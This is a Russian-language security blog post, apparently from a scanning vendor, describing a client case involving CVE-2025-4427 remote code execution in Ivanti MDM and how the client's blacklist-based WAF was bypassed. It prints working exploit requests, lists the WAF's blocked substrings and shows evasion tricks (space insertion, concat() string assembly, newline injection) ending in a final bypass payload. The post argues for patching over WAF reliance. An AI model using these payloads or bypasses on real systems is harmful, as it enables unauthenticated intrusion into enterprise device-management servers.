WAF – не панацея

Сегодня разбираем кейс в котором клиент не верил, что WAF это плохая компенсационная мера при RCE до тех пор, пока не был найден байпас

Дата выхода: Время прочтения статьи:
WAF – не панацея

Предыстория

В мае наш сканер зафиксировал у одного из клиентов критическую уязвимость — CVE-2025-4427 в сервисе Ivanti MDM. Она позволяла удалённо выполнить произвольный код на сервере без какой-либо аутентификации. Учитывая специфику сервиса, подобная возможность ставит под угрозу всю его инфраструктуру.

Proof-of-Concept:

curl http://domain.name/api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('sleep 10')%7d

Мы уведомили клиента, и служба безопасности быстро отреагировала: уязвимость была изолирована за Web Application Firewall (WAF), который заблокировал эксплуатацию на периметре. Однако достаточно ли этого?

Анализ WAF

Мы решили проверить, насколько эффективно WAF защищает от обхода. Оказалось, фильтрация строится на чёрных списках подстрок в следующем порядке:
${''. — начало SSTI с конкатенацией пустой строки

e9b1e222-a917-474a-ac3b-8a83d680d223.jpeg

java.lang.Runtime — класс, позволяющий получить Runtime

e9b1e222-a917-474a-ac3b-8a83d680d223.jpeg} — закрывающая фигурная скобка, завершающая выражение

2d58bf72-4ec3-4338-80e3-d1f1faf702b4.jpegКак видно, защита весьма хрупкая: достаточно обойти использование всех этих подстрок и эксплоит снова заработает.

Обход защиты: шаг за шагом

1. Обход ${''.

Всего один пробел ломает шаблон фильтра: ${'%20'.getClass()

2. Обход java.lang.Runtime

Используем встроенную функцию concat() для сборки строки: 'java.'.concat('lang.').concat('Runtime')

3. Закрывающая скобка }

И вот тут не все так просто. Стандартные техники (кодирование, двойное экранирование, Unicode) не сработали, в то время, как решение оказалось чуть более изящным: CRLF Injection в самое начало полезной нагрузки — это сломало парсер и позволило обойти фильтрацию }.

CRLF Injection – уязвимость, позволяющая атакующему выполнить инъекцию вредоносных символов возврата каретки и переноса строки (carriage return и linefeed) с целью разделить запрос и попытаться обмануть то, как сервер будет его обрабатывать.

Финальный PoC:

curl http://domain.name/api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b'%0a'.getClass().forName('java.'.concat('lang.').concat('Runtime')).getMethod('getRuntime').invoke(null).exec('sleep 10')%7d

WAF не заметил атаку. Сервер «уснул» на 10 секунд, подтверждая успешное выполнение кода. Запрос к взаимодействующему endpoint’у тоже прошёл, что подтвердило успешный обход защиты.

fb40b802-77fd-4a6f-a3f8-6a27a6a4e815.jpeg

Заключение

Web Application FIrewall — это дополнение, а не замена безопасной разработки и патчинга. Blacklist-подход в изоляции не обеспечивает защиту от обходов, особенно когда речь идёт об RCE-уязвимостях. Настоящая безопасность кроется в устранении уязвимостей на уровне кода и логики.

 
 

 

WAF – не панацея | METASCAN